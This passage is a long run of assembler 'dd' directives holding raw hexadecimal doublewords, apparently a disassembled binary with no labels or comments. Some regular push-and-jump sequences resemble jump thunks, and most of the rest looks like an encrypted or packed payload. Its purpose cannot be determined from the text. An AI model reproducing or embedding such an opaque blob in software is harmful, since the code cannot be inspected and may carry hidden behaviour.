dd 0E8C0419Fh, 11h, 378A720Ch, 93EB3A99h, 0DDD2343Ch, 0C0A36D01h
dd 5E9EB639h, 2629E381h, 0C681237Fh, 5A0Ah, 958BC033h
dd 6120D25h, 0B6060C8Bh, 3DF18136h, 0F21A9C0h, 0C181D1BFh
dd 69661DCDh, 81958B56h, 5A06122Fh, 2CACE981h, 0A3BA7920h
dd 5157F379h, 81CA8A60h, 962419DFh, 48F613Bh, 0B58B6006h
dd 6121231h, 0E961DF8Bh, 12h, 8ACFA88Ah, 675849C2h, 0C7FEE962h
dd 80A1F895h, 0E8835D6Ch, 5BD8B04h, 81061224h, 0FFA6C4F8h
dd 28850FFFh, 0E9000000h, 12h, 0D7F3A15Dh, 0E1BA11CAh
dd 69F9119Bh, 75538129h, 23E98460h, 0E9000000h, 5F07B549h
dd 0D7782D4Fh, 80C187F9h, 65E9E9D6h, 8AFFFFFFh, 5A73E43Fh
dd 5DC50970h, 0B4205619h, 1BE9C361h, 0D9000000h, 7A5A0Ah
dd 24300h, 4 dup(0)
dd 7E90000h, 6800000Ch, 617FD88h, 0FB4F01E9h, 0FEAA68FFh
dd 0F7E90617h, 68FFFB4Eh, 6180041h, 0FB4EEDE9h, 0FA68FFh
dd 0E3E90618h, 68FFFB4Eh, 61801B9h, 0FB4ED9E9h, 35868FFh
dd 0CFE90618h, 68FFFB4Eh, 61803FEh, 0FB4EC5E9h, 56668FFh
dd 0BBE90618h, 68FFFB4Eh, 6180659h, 0FB4EB1E9h, 0C0DEC4FFh
dd 0BFE7BE08h, 0BDE9BD07h, 0B9E5BB05h, 0BAECB701h, 27DE9202h
dd 28722A7Ch, 256F2777h, 256F277Fh, 4A6A227Ch, 55D3394Fh
dd 886B396h, 5C247D8Bh, 81A9DE46h, 0DE093B5h, 0F0AEF37Dh
dd 0EFB380FFh, 7D490F31h, 2D5E722Ah, 0F0C3E3C1h, 0EA8CE9FFh
dd 0F6A9BB93h, 0BDDA0E66h, 0B6B24C6Fh, 0A6B6A1ADh, 4FBE6A41h
dd 9000000h, 0D2C386B3h, 0D4D2D119h, 0C6146744h, 0BB93C105h
dd 1796873Ah, 47BFEE35h, 0C656A920h, 6C5EBA6Eh, 0D16124Ch
dd 41C75601h, 2036EF6Ah, 4C6FAAF8h, 0A567BA6Dh, 0E4h, 0B9FD1392h
dd 9048B77h, 0F6168D7h, 2AAA7D60h, 0BF9C2C7Ah, 247DD96Ch
dd 0A9DE465Ch, 0FC93B581h, 0B8C65B38h, 805326A8h, 0BC3D66F0h
dd 0A02ABAE4h, 0FDD0A303h, 0C2BEE36Dh, 81E744ACh, 0A99F9B5h
dd 5C2F0C9Ch, 326FF989h, 0B1F9B46Ch, 2A401F0h, 6FC29F2Fh
dd 81E0B021h, 0C7D7CAB5h, 0C2DCC50Fh, 0B1EF3732h, 23509AEDh
dd 6EB66F60h, 0D3394F31h, 86B581E0h, 5FAD00D3h, 0BB93E33Ah
dd 0ACC0782Bh, 0B5CBBC9Fh, 42781F42h, 0B5344F7h, 0C560E98h
dd 5B510F97h, 0EB3ADAE6h, 9BE7B53h, 9D050000h, 0A6FF4901h
dd 0A8FE4800h, 0A4FC46FEh, 0ABF842FAh, 9DD343FBh, 0B56D396Ah
dd 0B26A346Bh, 0B26A3C68h, 0AD653968h, 947C928Dh, 0C9B39654h
dd 267DCE4Bh, 540DC880h, 81A9D63Eh, 0ADF1B0B5h, 82025508h
dd 6AC77F1Fh, 0D73D530Ch, 8AB581A9h, 93A84D7h, 8643594Ah
dd 0B7BB93C1h, 0C81C7404h, 924C6C41h, 7701910Dh, 0FFE57529h
dd 15671E03h, 0A65F0019h, 6C416890h, 0D72ADD4Ch, 41D6CC8Bh
dd 0D7A86Ah, 4D950000h, 0E1BE4E58h, 247DFB8Eh, 4360EA7Ah
dd 0DE7BD363h, 24B581AEh, 1F69217Dh, 0E8FE82h, 354A7E52h
dd 7D4C039Eh, 542766C5h, 6C9DF181h, 4A03BCADh, 7EA4CC34h
dd 17CE814Ah, 8A0EA184h, 5BA9FC70h, 446CAD36h, 0E40C22DBh
dd 594C6CAFh, 799FB5A6h, 0EC4C6CAFh, 8E41E639h, 0D2B1C2D6h
dd 980699E1h, 0EC3E5445h, 45427B52h, 0FFE171C6h, 0D02370C5h
dd 0CED8CB2Bh, 9D8E613Eh, 67584E55h, 151C87E8h, 75C8FC6Ah
dd 0E9BA02BDh, 0B9EA6ABDh, 6D406640h, 0DBEFF3AFh, 0CFA73F3Ah
dd 89Ch, 6B237B27h, 6A228421h, 68208620h, 641C821Eh, 651D891Ah
dd 178C7BF5h, 128DD78Fh, 1A8AD48Ch, 178AD48Ch, 0B4AFCF87h
dd 9657769Eh, 0F06DEBB3h, 0C880267Dh, 0C37B237Eh, 7A247D66h
dd 0B04160EAh, 951FAFEFh, 28059511h, 0B6CA8255h, 635EE285h
dd 0FCA38EECh, 377F3829h, 90F5566Ch, 3286C483h, 0D5BE0C5Fh
dd 8ABB93E3h, 39EE6D7h, 2EB8489Bh, 9C267E73h, 0F2EE6C70h
dd 0F18154C5h, 8504114h, 9B78089Eh, 1CD59048h, 6FC51E06h
dd 4DA0534Ch, 3ACAD4CDh, 29A025E2h, 7ADFDBC5h, 0DB930B96h
dd 9D8E1091h, 0C8584E55h, 0B00898EBh, 0C729E077h, 0F2263B5Fh
dd 0ED37EFAFh, 0B1F9EAB4h, 0D060B3F3h, 29E0AB78h, 89D1EAC7h
dd 3D378A1Ch, 0F1ADF424h, 0F1FF7E39h, 5FA47B73h, 722FAF02h
dd 59A19C2Ch, 0BA045747h, 0C3D9CA89h, 0C93B820Eh, 0C0D48C3Fh
dd 268023B3h, 0F5E6B996h, 5DB0F6ADh, 0E4FAB36Ch, 0D9178E3Ch
dd 0DD2B7E31h, 0D705965Ch, 9133B635h, 0AE5DE9BDh, 4421B1F5h
dd 0C6791E71h, 0AD09DE36h, 4D53D305h, 6C37C151h, 2762A956h
dd 380BE2ADh, 5DC6C2A8h, 0D00EF60Ch, 9043D305h, 0EA6F6BBDh
dd 0AB41FD5Ah, 43A77FDh, 1C640000h, 38CB1E88h, 0C4E2C40Ch
dd 0B6045734h, 0B581A94Eh, 81B98E5Ah, 5D3E02B5h, 66C24A7Eh
dd 0C74A7E44h, 39D3BB48h, 0AF0228A0h, 84755465h, 4FE4CCBh
dd 12A4C88h, 0DD3003A3h, 6C7AD68Fh, 0EEAC5F44h, 30EECC42h
dd 504DC74h, 0BE000007h, 0B802BAE4h, 0B701B9EDh, 0B5FFB7EFh
dd 0B1FBB3EBh, 8CFCB4F2h, 248221E4h, 217D226Ch, 21851F69h
dd 1C821F69h, 33494464h, 0B399A9CDh, 7D850280h, 0CF219624h
dd 4E8EAFh, 38499D2Dh, 0D4E96859h, 4293628Fh, 0A7BDAE01h
dd 0BB99BD0Eh, 68BC7427h, 5A394ABCh, 207E2169h, 6F60B390h
dd 7BCE1C59h, 0CC863942h, 371595BCh, 35142597h, 5C438B44h
dd 54A1EF42h, 1FFE77Dh, 7BC3BE4Eh, 0EEB7B2Bh, 814071BBh
dd 73497A90h, 0BB6E85F1h, 7F1F82CAh, 36DEF4EFh, 2B8DD1F2h
dd 6152A578h, 5E168819h, 0A97724A3h, 0AAFE48F5h, 0D4CAD757h
dd 53E96016h, 22FA92F1h, 64Ch, 0BB732B77h, 0BA723471h
dd 0B8703670h, 0B46C326Eh, 0B56D396Ah, 0C7DC2B45h, 0C2DD27DFh
dd 0CADA24DCh, 0C7DA24DCh, 4FF1FD7h, 99A906EEh, 40BD3BB3h
dd 0D2C386B3h, 93BDD7BCh, 45D588BBh, 2A4024Ah, 2C722FAFh
dd 0F791129Ch, 6C443BE1h, 0A87B2E4Ch, 8B138E18h, 9287ABFBh
dd 0E130FEBh, 309DDA59h, 19A4A71Bh, 8C4F7CC6h, 0B9AE29Bh
dd 0DB2E0B9Bh, 7EC6E48Dh, 0EEA65942h, 5AC112D6h, 0C1967E46h
dd 1526465Ah, 0C6DF1A89h, 493A0DE0h, 42CD8233h, 7000B348h
dd 42C5F518h, 0A45D1658h, 42C5668Eh, 0DA28DB58h, 5842C532h
dd 0D3217427h, 5842C510h, 8947574Ah, 24C010FBh, 8D8B63FBh
dd 36000005h, 307A326Ch, 2F793175h, 2D772F77h, 29732B73h
dd 4742C7Ah, 9C0A996Ch, 99059AE4h, 990D97E1h, 940A97E1h
dd 0ABC1BCDCh, 0B399A845h, 0B3FD7AF8h, 0BCD2C386h, 0BB99A51Bh
dd 0A8FEA8F0h, 0CFDB055h, 2D83D98Dh, 69B2F117h, 0FAB1644Ch
dd 0B4073495h, 97079A24h, 0DCBFCBDFh, 87D2514Ch, 0C39401E3h
dd 7E23A3F6h, 831E6820h, 48908B1Bh, 0DCB9495Dh, 332FD5EBh
dd 6F224C69h, 99059C1Ch, 8C95B909h, 61465CDBh, 9C9B2EC0h
dd 0CB1E881Ch, 9048564Bh, 0DD148DD5h, 7350E0C6h, 56014DA0h
dd 0EF6A473Ch, 1AAAFCA7h, 4E28EA3Dh, 73000001h, 0D2C386B3h
dd 93C707BCh, 0F58538BBh, 6C4B499Dh, 32274B4Ch, 3324E714h
dd 98EBBBEBh, 253891A7h, 5A0D427Eh, 554958A2h, 1C8A1C64h
dd 0CC5CAF8Ch, 873F5F42h, 92834673h, 0F447574Ah, 188ED03h
dd 0FAAD4848h, 7F276F6Ah, 930D9727h, 0CB9E7B0Bh, 0FE2A78h
dd 0D2CE5848h, 119ABD49h, 63AB7666h, 4E106343h, 25h, 0C386B399h
dd 8C1A8AD2h, 91324839h, 0A6BB93C1h, 0D90B63F3h, 0AF4C6C41h
dd 0B99EAEB3h, 0BB6A41D6h, 0A4h, 3D530C06h, 0B581A9D7h
dd 7DA3B98Ah, 0F0B581A9h, 97176A3Dh, 1984B00Ah, 91202302h
dd 0FFA42EBEh, 148D17A7h, 3170FA8Ah, 0B2FAB56Dh, 0F5DB0EEh
dd 0B58168A2h, 0FDB5E9B8h, 8F9D8E9h, 9694B2F2h, 2314C7BBh
dd 26DEC8DBh, 0CCFBC7DCh, 8D105693h, 9DD23A50h, 0D4874C6Dh
dd 0EA702E01h, 0D830EF48h, 3EE6840h, 0CDD50000h, 0D6CF19D1h
dd 0D8CE18D0h, 0D4CC16CEh, 0DBC812CAh, 0CDA313CBh, 853D693Ah
dd 823A643Bh, 823A6C38h, 7D356938h, 0A44C625Dh, 99B399AAh
dd 267D9E1Bh, 237EC880h, 0C008C37Bh, 0DD70C3E3h, 0D2CD247Dh
dd 8D1D811Fh, 190ADDB0h, 40D0CED1h, 0F6801063h, 0BA02F3ABh
dd 0B068BBEBh, 2975AF53h, 8D57B582h, 34A7E29h, 0C2213F6h
dd 446625ABh, 0F7A7F840h, 0BC4CFFA4h, 17945B68h, 13B395AFh
dd 0E4743274h, 70613407h, 7430995Ah, 0D7EDBE42h
dd 46541031h, 0C5E1C424h, 0B2855835h, 0D6C560F4h, 0E2BA523Ah
dd 348h, 0BF77277Bh, 0BE763075h, 0BC743274h, 0B8702E72h
dd 0B971356Eh, 0C3E02749h, 0BEE12BE3h, 0C6DE28E0h, 0C3DE28E0h
dd 80323DBh, 99AA0AF2h, 44C13FB3h, 0EA7A247Dh, 0A55D4160h
dd 0B0A16091h, 0A93BE1F7h, 7B2EB581h, 367E3728h, 97E5386Eh
dd 0BB93C5FEh, 0BC14A457h, 4C6C4D68h, 4FFF6460h, 6A41D708h
dd 636Ch, 86B3B700h, 0DB5626DFh, 6D4ADAC4h, 1723A5B6h
dd 8C3D5344h, 0B1BB9308h, 3E540DFEh, 4C6F18D6h, 4E58D88Bh
dd 7A750558h, 8DA90FFBh, 5BA78A19h, 0CCE1D985h, 0CF1D7043h
dd 4C6FDA15h, 0B2425C45h, 96267828h, 477EE305h, 0E460F9F5h
dd 6A414B73h, 8D198AD2h, 8E7C3CFDh, 0E6B3780Ah, 0DDFEC013h
dd 49000000h, 0EA7A247Dh, 0F82036EFh, 6DB581A9h, 0A99E869Ch
dd 20D3B581h, 297AFA4Dh, 3E63ED7Dh, 0A0B66F60h, 0B581A978h
dd 57E73AEDh, 64ACD4CDh, 0F0186640h, 65B581A9h, 6C27DFB2h
dd 0D3C355EDh, 0B5E9BF0h, 81EC1CBDh, 0F7ADF5B5h, 11951FAFh
dd 0EF6FC295h, 0B3FBECB2h, 4623B3F3h, 0B0F13BF3h, 0F90A5EEEh
dd 7E13291Ah, 83BB93F1h, 0AD3D693Bh, 94248223h, 0EC91E4B7h
dd 0B31F051Bh, 9F524C6Fh, 4E21851Fh, 92718296h, 42D78BA1h
dd 0B3664278h, 7D297AC2h, 7E287BC5h, 0DA102EC0h, 0A47C143Ah
dd 1E0h, 27DFBFE3h, 26DEC8DDh, 24DCCADCh, 20D8C6DAh, 21D9CDD6h
dd 5B48BFB1h, 5649934Bh, 5E469048h, 5B469048h, 706B8B43h
dd 99ACB25Ah, 0AC29A7B3h, 0CED3267Dh, 0FB45FDD0h, 0E340F8A6h
dd 0D73D530Ch, 8AB581A9h, 0C15120D7h, 1061AEDBh, 9F4673BDh
dd 0A8013883h, 2ED6ECEBh, 23B5816Bh, 0D9CA9D70h, 930306C3h
dd 0F48437BBh, 6F03489Ch, 118D124Ch, 0F6A8F781h, 9F848066h
dd 819A96E8h, 9A0C98E0h, 8EDA2D0Ah, 6A4114C9h, 9FABh, 247DF600h
dd 4360EA7Ah, 0DE7BD363h, 24B581AEh, 722C747Dh, 8B4E05E2h
dd 0D3F215CBh, 8BD58D60h, 0FDF88816h, 64B7EFB5h, 392AE91Ah
dd 1A6E3880h, 7ED31C04h, 0CB9E514Ah, 0B6512A78h, 33E6446Ch
dd 775A677Bh, 39D7086h, 165E427Bh, 0A9861690h, 0DFEB156h
dd 10C8DEC5h, 0BC9DDC6h, 3ADBD025h, 0EDE5BD55h, 0D6000000h
dd 0D01AD2CCh, 0CF19D1D5h, 0CD17CFD7h, 0C913CBD3h, 0A414CCDAh
dd 3C6A39CCh, 39653A84h, 396D3781h, 346A3781h, 4B615C7Ch
dd 0B399AFA5h, 7D9D1A98h, 7EC88026h, 66C37B23h, 6096247Dh
dd 8CA0DA73h, 0BB3A2BFEh, 6DEDCA6Fh, 2F6F3277h, 0EF79095Ch
dd 2034ECB2h, 293F3013h, 0BB99FB88h, 34861961h, 496180D3h
dd 48D8ABF7h, 332FA987h, 734638E8h, 8A1B7B20h, 2FB9491Ch
dd 10F80E72h, 6A4C6949h, 10C36836h, 663B853Dh, 46358554h
dd 0DAB7475Fh, 0C7876923h, 0E86F5E10h, 0A275C103h, 0FBCEBA12h
dd 3834C82Bh, 0ECB2EF23h, 0E7B7EA34h, 1ED3CD57h, 0B4912185h
dd 0D8C751E1h, 0F7AC36C6h, 0ABCF1FAFh, 3B3F0FB6h, 0EFAFF226h
dd 0ADC37C37h, 0C827FC47h, 9D099AFAh, 0AAF777CAh, 0D8C64F4h
dd 91000000h, 0FC5AC2D8h, 5C0FC827h, 13AE7609h, 0E979257Dh
dd 0CC5C425Fh, 0B4446242h, 9929752Ah, 8212940Fh, 6BFBABF8h
dd 4FDFBFE1h, 35C5E1C5h, 1CACFAABh, 0E6895639h, 4C681h
dd 0B8500000h, 4, 8758C629h, 565C2434h, 0C681E689h, 4
dd 8704EE83h, 895C2434h, 8957241Ch, 4C781E7h, 83000000h
dd 3C8704EFh, 14895C24h, 1B85024h, 0BB08B831h, 0FD5FCB46h
dd 48BC301h, 4C48124h, 54000000h, 8124148Bh, 4C4h, 89525500h
dd 5AD589DAh, 5D086A89h, 5A2434FFh, 8B04C483h, 8950241Ch
dd 405E0h, 4050000h, 87000000h, 0E95C2404h, 0FFFB4306h
dd 6BB86588h, 3061807h, 0E5E0FFC5h, 0A65C2F60h, 0E52BF66Eh
dd 0F050678Eh, 5C4FB438h, 0F735AB55h, 81566C3Ah, 1137DC3Fh
dd 0A7144C0Dh, 7D718A6Bh, 3F3F7EB3h, 0B1385DAFh, 0DB615A27h
dd 0A941DB77h, 4C24C643h, 605EFFD8h, 35479FFDh, 964A526Ch
dd 0D300D62Eh, 513309E8h, 2A67F783h, 494060A6h, 0F0067D3Eh
dd 0B060DF84h, 0D65291B9h, 0C8230E9Fh, 0B778DF33h, 1414C826h
dd 386DBCEAh, 7D1ED8CDh, 5A6DAE9Ch, 0E963E2CAh, 0BDh, 13EFC3A5h
dd 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h
dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h
dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h
dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h
dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h
dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h
dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh
dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h
dd 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h
dd 0
dd 14BAE900h, 25680000h, 0E906180Bh, 0FFFA76B5h, 180C3F68h
dd 76ABE906h, 968FFFAh, 0E906180Dh, 0FFFA76A1h, 180E5768h
dd 7697E906h, 0EE68FFFAh, 0E906180Eh, 0FFFA768Dh, 180FBB68h
dd 7683E906h, 7068FFFAh, 0E9061810h, 0FFFA7679h, 18112068h
dd 766FE906h, 0D568FFFAh, 0E9061811h, 0FFFA7665h, 1812FC68h
dd 765BE906h, 2168FFFAh, 0E9061814h, 0FFFA7651h, 18158168h
dd 7647E906h, 0A468FFFAh, 0E9061816h, 0FFFA763Dh, 1817F668h
dd 7633E906h, 2468FFFAh, 0E9061819h, 0FFFA7629h, 181A8868h
dd 761FE906h, 5D68FFFAh, 0E906181Bh, 0FFFA7615h, 0FC9A06F9h
dd 10AE180Ch, 28C62820h, 3EDC4238h, 53F1594Eh, 24198BE6h
dd 372E1EBCh, 4C4535D3h, 645E4EECh, 8696806h, 1106F97h
dd 196B7E76h, 0B4B7150Fh, 8A604FEh, 12ED7873h, 0FE9249DCh
dd 11822DC5h, 69FB3E54h, 7CE0D785h, 888B2379h, 0FB420B37h
dd 8A6A4375h, 2FBA5FB6h, 3DA6DEh, 6A4C0000h, 0C48A8063h
dd 11676ACCh, 88207679h, 116B6CDDh, 54A269FBh, 1ED40051h
dd 0F5EA75FBh, 0AFA5F891h, 821AD769h, 6BD5C97Fh, 6B4B0468h
dd 6D4D26FCh, 2F8C4299h, 0DD89DEh, 0F2F0000h, 4BB4B715h
dd 94058075h, 6FE9076Ch, 8A8D2573h, 0E47CDAD4h, 45ADA27Ah
dd 34928C42h, 44701789h, 0D67ABD27h, 0B392BA2Bh, 4B996FE9h
dd 4E48FEE1h, 0D9AF52F0h, 0DCE87CE4h, 3CBE7914h, 0FA0C7FE9h
dd 1C6FE9E2h, 0A719C422h, 0B4BA109Dh, 0F977E142h, 0AEB10F09h
dd 70695853h, 0A6648CFDh, 1D6B6FE9h, 0D142ED85h, 69FBA628h
dd 0B045E331h, 0A7B26BDh, 701048DBh, 244CBD46h, 2B6FEF38h
dd 469473DDh, 68D0C59Bh, 5A5127CAh, 339DF3F6h, 0CFE665Bh
dd 79420ACBh, 2AF2977Ah, 34000012h, 4737D541h, 5B4BE953h
dd 73630163h, 8979177Dh, 218E2C94h, 0F75F54C6h, 0E726959h
dd 27878070h, 419F9989h, 0D243A4A3h, 760112AAh, 0F4C9EB1h
dd 2414B21Ah, 4B21CC2Ah, 9AF0F351h, 6A5EB230h, 0C435E063h
dd 69FB11C3h, 0A8F9FC4Ah, 75FB1E7Ch, 27FBDBB4h, 0DE2F91D0h
dd 10217h, 865CBD00h, 0E6BE2892h, 0D58B8EECh, 482C7CE0h
dd 8F8DE461h, 91A3F4F7h, 0A36FE95Dh, 8DF7EBA9h, 0FE9C348Ah
dd 2B8D855Bh, 9068D228h, 48D3896h, 0A4C9F592h, 95287B7Dh
dd 6FE9C46Dh, 0C4375FD0h, 0F8466FE9h, 5E41ABF9h, 0CE790803h
dd 0FBC3B45Dh, 0D977C569h, 0A0BE4944h, 0EB45D94Fh, 0D9AF5AF2h
dd 8D837BE5h, 64CE2427h, 857A50D9h, 40B11A1Dh, 75FB4618h
dd 0D741D927h, 0FEB4664h, 85AB1D70h, 0AA34BA2Dh, 23957465h
dd 6C043553h, 62D92302h, 0FD1B19C4h, 0F890EEE8h, 262C7764h
dd 54EC31B9h, 0C1EA37A9h, 14EB6FA1h, 54491FAAh, 695E4EECh
dd 0FEC60F01h, 90737941h, 1110EBh, 0EF5B4E00h, 36D6151h
dd 1B7D7565h, 31978D7Dh, 46AEA393h, 6EDC3BA8h, 83731179h
dd 9A8A288Ch, 0B3A341A1h, 0BEBD5BB9h, 13C4EC5Dh, 0B8CB7601h
dd 0B21A0F66h, 0B2A87E07h, 791B94Ch, 4A986FE9h, 787262E0h
dd 0F287C1Ah, 0FEB4B715h, 6508A604h, 7436BDCh, 0FC4A6FE9h
dd 60C2BA92h, 4FADA75Dh, 88CD5FB1h, 2EA99E85h, 0E90795BDh
dd 0BE56A46Fh, 796D65BBh, 5BCC770Fh, 69FB2EBEh, 0B407014Fh
dd 9E756087h, 0C36EF5F8h, 93236952h, 9FA2F05Bh, 8434C436h
dd 6B9F3869h, 0FA898401h, 0BC85DE4Fh, 4A946186h, 0E617117Eh
dd 4EF99140h, 82207E78h, 0AE1209DFh, 18726C44h, 0A096C0E7h
dd 4B3DD555h, 87A8A880h, 461DC2A5h, 18000010h, 2B1BB925h
dd 3F2FCD37h, 5747E547h, 6D5DFB61h, 5721078h, 0DB4338AAh
dd 0F2564D3Dh, 0B6B6454h, 25837D6Dh, 0B6278887h, 7601148Eh
dd 0F388A9Dh, 4BB4B715h, 0A507F6D9h, 6B1B186h, 0E97B6D95h
dd 0C42E7C6Fh, 12BD4447h, 58BCB389h, 0E354FF55h, 6FE97BBBh
dd 970A74C2h, 69FBA392h, 0B9E152B3h, 0C075FB64h, 0A73CDA72h
dd 1721DA4h, 700D88D8h, 3F9093E1h, 6FE97813h, 796E3229h
dd 0C0767911h, 0F86164CAh, 0E9785F87h, 7A206E6Fh, 9C72E1C1h
dd 0B80FE3C3h, 0FFD81DEBh, 40h, 80636AA5h, 0CA20238Bh
dd 3D168732h, 0A069FB4Ch, 0AF20FE2Eh, 0B8221371h, 0AE08BD9h
dd 8813B111h, 75FBD65Eh, 7A187670h, 0A50B01D7h, 0AE24CA2h
dd 45AEB111h, 0F127A6Fh, 6A884FB9h, 3600000Fh, 35E0636Ah
dd 0F11073C4h, 0CE70BA69h, 3AD37BC2h, 6B41EC84h, 0C72B1771h
dd 1AB0D849h, 71BF7601h, 0FD694ADDh, 0DDD7C765h, 2A217C7Fh
dd 0BAEB1384h, 0A4F27601h, 46F0610Ch, 517009C2h, 88825803h
dd 13E98C2Ah, 64B6B91Bh, 0B6368A07h, 0E14BE338h, 0AEB10F09h
dd 72695853h, 0BE1C160Eh, 490A7B26h, 8069FBFBh, 47794032h
dd 0AD907335h, 0EF808h, 7736600h, 1B857969h, 33958D7Dh
dd 49AFA595h, 5EC6BBABh, 86F453C0h, 9B8B2991h, 0B2A240A4h
dd 0CBBB59B9h, 0D6D573D1h, 15DC0475h, 0D0E37601h, 748747Eh
dd 0B2B96FE9h, 6113842Fh, 6C69F10Fh, 61EA731Eh, 0E3B7B4EFh
dd 28BBF388h, 76015D00h, 7F57C10Fh, 0A7C2785h, 0EBE258Fh
dd 53D13B77h, 600B6963h, 2F32908Ah, 85EBE1D9h, 0DFC22C82h
dd 547CED76h, 0C67601B2h, 28AB2BC2h, 0E5C5B6Dh, 9D2427A4h
dd 0E87C81F2h, 3F8D7013h, 3DAB624Dh, 0BB09379h, 0E61h
dd 9E0AFDh, 14B21C10h, 2CCA2C24h, 42E0463Ch, 57F55D52h
dd 281D8FEAh, 3B3222C0h, 504939D7h, 686252F0h, 0C6D6C0Ah
dd 115739Bh, 15677A76h, 5E57150Fh, 0AD6366FEh, 355255B3h
dd 64C6BE94h, 19130B61h, 0D0B051BBh, 877EDC4Eh, 6A7552Bh
dd 0F868BF9Ch, 31AFD81Dh, 55000009h, 35E0636Ah, 9C06665Fh
dd 0EE9A011h, 724869F1h, 0BF15187Ah, 36DCFC7h, 19817624h
dd 774DD681h, 0C3191C80h, 56FD5CBh, 8075332Dh, 27BF1518h
dd 419F9989h, 0DB4CD53Eh, 76010FB3h, 0ED86CBAh, 7FCF3B1Bh
dd 6F9B0E78h, 0E07601B0h, 9CFEF6EDh, 0AB4399h, 66D0322Ah
dd 0D8656ADBh, 22F87013h, 7B5AC42Eh, 0BB723B2Dh, 9477793Dh
dd 0D94EFh, 6BD7CA00h, 7FE9DDCDh, 97F9F1E1h, 0AD1309F9h
dd 0C22A1F0Fh, 0EA58B724h, 0FFEF8DF5h, 1606A408h, 2F1FBD1Dh
dd 3A39D735h, 164068D9h, 3C4F7601h, 0B7150FEAh, 0AA04FEB4h
dd 0DECA2793h, 0BB191354h, 0D2CA62B8h, 0DDE078DAh, 0A72909C0h
dd 7E3EA935h, 1E902486h, 0DD4793h, 0D81DC4A9h, 85FF0h
dd 7B714700h, 746FAB15h, 6FE90748h, 0AB1CB2B9h, 6FE90783h
dd 90B8298Ah, 9F6FE907h, 7621B951h, 0F10F0E05h, 46F13F69h
dd 0F244CBDh, 0DD2B7601h, 1812E873h, 322C1CBAh, 7776D1D4h
dd 0CBD041ECh, 0CE701337h, 319B03F8h, 11120452h, 44793E1Ah
dd 0CDFBC61h, 8C7F0000h, 9E928220h, 0AEA69634h, 0C8BEAE4Ch
dd 0DFD4C462h, 0D6CD977h, 0A442AA9Fh, 0BB59BDB4h, 0D472D2CBh
dd 0EE8CEAE4h, 0F51D8EEFh, 4760117h, 150F9FF1h, 70B33A4h
dd 0C4126FE9h, 40970930h, 0BE56E023h, 4D0B05BBh, 98EEF157h
dd 29E0FD00h, 0A41E7549h, 0B165D81Dh, 0B000007h, 35E0636Ah
dd 0F10EB4C4h, 822D7B69h, 4E51B5ACh, 3C3F9F98h, 59E44EE6h
dd 0D4CB8983h, 89D1D474h, 44DC3DA7h, 0A853EB41h, 7679D9D2h
dd 4838B620h, 9CEDF04Eh, 76020270h, 0A305FDD3h, 63E04AA0h
dd 0BD2ED968h, 70142AB8h, 809FB49h, 31793D69h, 0C2FA94Eh
dd 3C2F0000h, 4E4232D0h, 5E5646E4h, 786E5EFCh, 8F847412h
dd 0BD1C8927h, 54F25A4Fh
dd 6B096D64h, 8422827Bh, 9E3C9A94h, 0A5CD3E9Fh, 0B4760118h
dd 150F4FA1h, 4FEB4B7h, 0F3EDA3A6h, 0E4DC9295h, 0D3C97F82h
dd 10146A6Dh, 0E948B797h, 277E5232h, 6ED81D7Fh, 704h, 91FBEFC5h
dd 4B74EB27h, 0B46FE907h, 0E7F2AB9h, 69F10F19h, 592FDA28h
dd 7363015Fh, 0BD181B79h, 0FF8833CEh, 10F668Eh, 0FC61E076h
dd 867FD318h, 8DB52687h, 9C7601A9h, 0CABEB64Eh, 0FA6BF660h
dd 7013C36Dh, 0C2EA5BBCh, 0D06FF38Bh, 1E7477D7h, 4739D11Fh
dd 793DB6C0h, 7ADD8265h, 0E400000Bh, 0F7E785F1h, 0BFB9903h
dd 2313B113h, 3929C72Dh, 0D13EDC44h, 0A70F0476h, 0BE221909h
dd 0D7373020h, 0F14F4939h, 82F35453h, 7601185Ah, 0FFC4E61h
dd 0FEB4B715h, 87A3A604h, 251FEECEh, 720A7267h, 7A88DFD4h
dd 4FCFD81Dh, 75000001h, 3A62D35Ch, 416FE907h, 0B7B189F3h
dd 0A6A05659h, 0A3149D48h, 6FE9077Bh, 4CCA3482h, 822DB4B7h
dd 0FB1E5411h, 0B03D969h, 12603FA9h, 2292BE0Fh, 0F1CA75FBh
dd 95068F11h, 75FB226Dh, 0E7C42E7Ch, 0DE2F9990h, 35D7h
dd 38BC2E00h, 79D7D1A2h, 8C8C2076h, 1753BDCAh, 35E0636Ah
dd 0FB11C3C4h, 51FC4A69h, 1F22827Bh, 2B7C5FC9h, 75FB1DFFh
dd 0AA7E5E37h, 0DE2F9253h, 0AE9Ah, 150F4000h, 9FEB4B7h
dd 0EEE89EA1h, 0DDD78D90h, 2BC3291Fh, 2DE0028Dh, 11836FE9h
dd 4B85E0D6h, 0AE86F0EDh, 23B856B4h, 0ED158628h, 0FC6FE92Fh
dd 0FA6B16AEh, 69FDD65Ah, 0E2B863B1h, 4DA85EDh, 0ED574B0Bh
dd 1139AA55h, 1875FD8Ah, 0F2E260CAh, 62A395FDh, 0B77333B7h
dd 0A532FD4h, 180B0000h, 2A1E0EACh, 3A3222C0h, 544A3AD8h
dd 6B6050EEh, 99F86503h, 30CE362Bh, 47E54940h, 60FE5E57h
dd 7A187670h, 81A91A7Bh, 88760119h, 1A0F2375h, 2A2414B2h
dd 0C29821CCh, 0ADD568CAh, 106FE907h, 0E907779Fh, 3938866Fh
dd 9931938Bh, 5C5DB12Fh, 25289286h, 58353BCFh, 801CD56Ah
dd 0E6443E16h, 0D9332DE3h, 8389F3D2h, 7A18B0D4h, 50B9Bh
dd 636A4900h, 33C435E0h, 0FA69FB1Fh, 2C58A9ACh, 4275FB1Fh
dd 2FE5E84Ah, 7CD3D636h, 986EDDBDh, 0D45DDFBFh, 9FA208FEh
dd 1F8EB649h, 4F9D75FBh, 92B108E5h, 46F8DE2Fh, 9E000002h
